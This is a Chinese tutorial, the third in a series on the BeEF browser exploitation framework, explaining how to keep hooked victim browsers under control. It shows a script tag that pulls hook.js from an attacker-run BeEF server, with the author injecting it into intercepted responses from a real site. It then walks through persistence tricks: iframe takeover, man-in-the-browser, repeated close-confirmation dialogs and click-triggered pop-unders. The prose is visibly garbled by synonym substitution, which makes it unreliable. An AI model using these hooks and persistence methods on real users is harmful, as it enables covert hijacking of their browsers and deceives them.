快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

阅读器攻击框架BeEF Part 3:持续控制

媒介

前两章分别对BeEF框架做了初步先容和讲解了初始化控制。

前情提要:阅读器攻击框架BeEF Part 1,阅读器攻击框架BeEF Part 2:初始化控制

接下来就是先容怎么样让BeEF持续控制僵尸们了。

持续化控制

BeEF在获得对僵尸们的初始化控制后,主要的义务是想办法持续化控制它们。这是因为初始化控制一般只是发生在单个或多个页面内(勾子一般只注入到一个页面或多个页面),一旦用户脱离/关闭这个页面,或者关闭阅读器。那么BeEF就失去了控制权,所以需要使用一些要领来绝可能的维持控制,为后面的攻击夺取更多时间。不难想象,使用BeEF来攻击阅读器是一件分秒必争的事情。持续化控制也被分为两个方面。一方面是持久通讯,也就是BeEF服务器以及僵尸之间通讯手艺的选择,越高级的通讯手艺,速率也快。另一方面是持久存续,也就是想办法使用户绝可能的呆在有勾子的页面。

持久通讯

为了让BeEF服务器与僵尸之间快速的通讯(全双工),BeEF提供三种通讯的手艺。分别是XMLHttpRequest 、WebSocket 、WebRTC。三种要领各有优瑕玷,下面一一先容。

使用跨域资源同享

在先容通讯之前,有必要提一下CORS(跨域资源同享)。CORS扩大了一下SOP(同源策略),可以允许页面读取别的来源的HTTP响应。对于被勾连的页面来说,BeEF服务器无疑就是一个异源。为了让阅读器在勾连的页面运行BeEF发送的命令,就需要使用CORS。

BeEF服务器通过在每个HTTP响应中都包含下列的HTTP首部来完成这一点:

##允许来自任何地方的跨域POST以及GET要求

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET

BeEF服务器返归上面的语句,那么阅读器就可以读取其整个HTTP响应。要是没有包含上面的CORS首部,SOP就会阻止读取BeEF服务器返归的数据。这里需要提醒一下,阅读器只是没法跨域读取数据,然则可以发送数据的。也就是说我们可以通过BeEF来操作阅读器向任何域发送HTTP要求,然则不一定能读取返归的HTTP响应。这一点很重要,后面的一些攻击就是用了这一特性。

使用XMLHttpRequest通讯

这是BeEF的默认通讯手艺。缘故起因很简单,几乎所有的阅读器都支持这类手艺,兼容性最佳,但它也是三种手艺中最慢的。读者要是有兴致可以使用Burp Suite来截取一下BeEF与僵尸的交互数据,就可以更清晰的看到它们的交互过程了。

使用WebSocket通讯

WebSocket正如其名,是Web中socket。WebSocket协定是一种无比快 、全双工的通讯手艺。它比XMLHttpRequest要快。然则某些旧的阅读器是不支持的,IE从10最先支持,Firefox从16.0最先支持,chrome从23.0最先支持。BeEF默认是没有开WebSocket的,需要配置一下。

找到beef的设置文件,kali下是/usr/share/beef-xss/config.yaml, 找到下面选项,并做以下修改。

# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: true

重启beef服务器,就见效了。BeEF会根据阅读器是否支持WebSocket,要是支持,那么之后就使用WebSocket来通讯。要是不支持,那么就使用XMLHttpRequest来通讯。即BeEF会自动选择通讯手艺,优先选择快速的手艺。

使用WebRTC

网页实时通讯(Web Real-Time Co妹妹unication)是一个支持网页阅读器进行实时语音对话或视频对话的手艺。这个手艺是最快的,但要较新的阅读器才支持。笔者查看了一下设置文件/usr/share/beef-xss/extensions/webrtc/config.yaml,发现好像需要server才行:

26.png查看官方的文档也没有先容,笔者也不了解WebRTC这项手艺,没有使用成功。所以索性把它关了,enable: true 变 enable: false。

除了这三种手艺之外还有DNS地道手艺,这是比较隐蔽的通讯方式,然则不太稳定。所以这里就不先容了。实际上有WebSocket手艺就已经充足快速了。当然还有一个硬伤,那就是网速,这是无可奈何的了。

持久存续

选好了通讯的渠道,那么接下来要考虑一下怎么样在用户脱离/关闭页面或者关闭阅读器时依旧保持控制。BeEF给出了四个解决的要领,分别是行使IFrame 、窗口事情处理函数 、动态底层弹出窗口 、和阅读器中间人手艺。单独使用任何一种手艺或组合使用这些手艺,可以完成对被勾连阅读器的持久控制。

使用IFrame内嵌框架

IFrame是HTML中的一个标签,可以创建包含另外一个文档的内联框架。为了持久的控制,可以创建一个全屏(全部阅读器)的IFrame来把页面放进去。BeEF的作者建议要是想持久化,内嵌框架是首选方案,缘故起因以下:第一,可以完全控制内嵌框架的DOM内容。第二,内嵌框架首要用于在当前页面嵌入其他文档的究竟,为持久化提供了直截了当的要领。实际操作一下会更清晰这个要领:

确保开启了BeEF服务器。笔者用freebuf来做测试,使用Burp拦截Response并在其中插入下列语句。

<script src="http://BeEF server:3000/hook.js" type="text/javascript"></script>

得到初始化控制后,接下来就是使用IFrame内嵌框架手艺了,对应的功能模块是Persistence –> Create foreground iFrame, 这个模块不需要任何参数,点击Execute 运行就可以了。

27.png

执行后,僵尸阅读器这边是没有任何异常的。

29.png当用户点击新的页面,代码才会执行,会把新的页面放在一个%100宽度,%100高度的iFrame中。下面是笔者点击了第一个消息后的结果:

28.png

看上图,可以发现使用iFrame的一些瑕玷。第一是URL是不会变的,会保持在被钩住的谁人页面的URL。第二是经常出现混乱,点击无效等异常(经笔者测试有些网站运行很好,有些就会出现。一些不会使用js动态渲染页面,不会使用ajax动态更新内容的页面会运行的很好),容易被用户察觉。第三个是,要是页面返归的HTTP响应中包含X-Frame-Options等首部,那么内嵌框架的手艺就会失效。鉴于以上瑕玷,笔者小我私人不推荐这类手艺作为首选持久控制的手艺。笔者推荐使用下面的手艺。

使用阅读器中间人攻击

还记得上一章说的阅读器中间人攻击吗?上一章先容的是要在同一个收集内,并通过mitmproxy来截取/修改http的内容。而这一次不需要在同一个收集内,直接在被勾连阅读器中用js代码发送/截取http的内容,然后铺现给用户。常规页面与MitB(阅读器中间人攻击)中毒页面的区分在于,MitB会异步加载资源,同时保持勾连活动。对于用户来说统统都好像在正常页面中操作同样,很难察觉到有异常。这里要注意一下,要是用户单击了跨域链接,MitB会在阅读器中关上一个新的标签页,并把响应的内容放在新的标签页。下面实际演示一下:

依然使用freebuf来做实验, 在得到初始控制后。接下来使用MitB手艺了,对应的模块在Persistence –> Man-In-The-Browser,这个模块一样不需要参数,点击就可运行。

30.png僵尸阅读器这边一样没有任何异常的。

33.png关上第一个消息。分别查看一下僵尸阅读器以及BeEF治理页面有什么变迁。

32.png31.png可以看到对于用户来说已经转到新页面。而实际上,勾子依然是存在的,阅读器依然保持着以及BeEF服务器的联系。当然MitB手艺也是有瑕玷的。第一个是没法加载图片。第二个瑕玷是像freebuf网站最上面由js做成的导航菜单,要是用户点击导航菜单中的一项,那么会导致页面跳转到新页面,BeEF将失去控制权。这是由于MitB完成道理的缺点导致的。然则相对于来说它照样比IFrame内嵌框架要好用些。

窗口事情处理函数

简单来说,就是在用户点击关闭当前页面或者关闭阅读器按钮时,弹出一个窗口,来问用户是否要脱离,要是用户选择确定要脱离,那么就继续弹出窗口,不断的重复。在BeEF中对应的模块是Persistence –> Confirm Close Tab,然则当代的阅读器已经不允许如许反复的弹出窗口了,至多只允许执行一次。笔者在测试时,发现不同阅读器会有不同的反应。firefox以及chrome只有在关闭阅读器时才会有弹窗,360阅读器在关闭当前页面或关闭阅读器时都会有弹窗。QQ是最佳玩的了,点击关闭当前页面以后,WEB黑客,它会关上一个新标签页去加载BeEF服务器的demo页面。搜狗整个都没有弹窗。上面提及的阅读器都是最新版。旧版IE会不停的弹出提示窗口。这类要领虽然至多也只能多维持几秒,然则几秒也是值得夺取的。所以笔者推荐把它以及上面两种要领的其中一种一块儿组合使用,这里要注意一下前面先容的两种要领(MitB以及iFrame)是不能同时使用的。

动态底层弹出窗口

这项手艺是创建一个新的窗口,然后加载BeEF的示例文件demo/plain.html,如许就可以拥有另一个新的初始化控制了。当代阅读器默认阻止弹出窗口并正告用户弹出窗口已被阻止。然则,对于某些用户启动的事故(例如单击页面),会绕过此检查。所以可以使用点击挟制,当用户点击页面时,就会触发事故,关上新的窗口。这选手艺对应的模块是Persistence –> Create Pop Under。虽然它的名字中有under,然则创建出来的窗口倒是在前面的。

34.png不同的阅读器会有不同的反应,IE8, Firefox, 360, chrome 会在右下脚创建一个小窗口。

35.png而QQ,搜狗阅读器则会关上一个新的标签页。这里就不贴图了,读者可以自行测试一下。

使用这个手艺有两个瑕玷。第一个瑕玷很显然,那就是会被察觉,用户可以看见新的窗口或新的标签页,警觉性高的用户会直接关闭。第二个是新关上窗口加载的是BeEF服务器的demo页面,也就是说已经以及一最先被勾住的页面是不同源了,这会影响到后面的一些攻击。所以这个手艺算是最后手段,或者作为保底的手段。

别的模块

最后提一下别的的模块。Hijack Opener Window 模块与iFrame类似,此模块滥用window.location.opener来挟制关上的窗口,将其替代为BeEF挂钩以及包含引用网页。JSONP Service Worker 模块,笔者不清楚这一项手艺。按模块中的描摹是行使JSONP端点中的未过滤归调参数,以确保每一次用户重新走访域时BeEF将挂钩。

结语

这一章终究也先容完了,这章先容的模块很容易就可以使用,然则要清楚它们的功能以及瑕玷,如许才能更好的发挥结果。对本章有疑问或纠错的同伙,欢迎可以在评述留言。 

*

您可能还会对下面的文章感兴趣: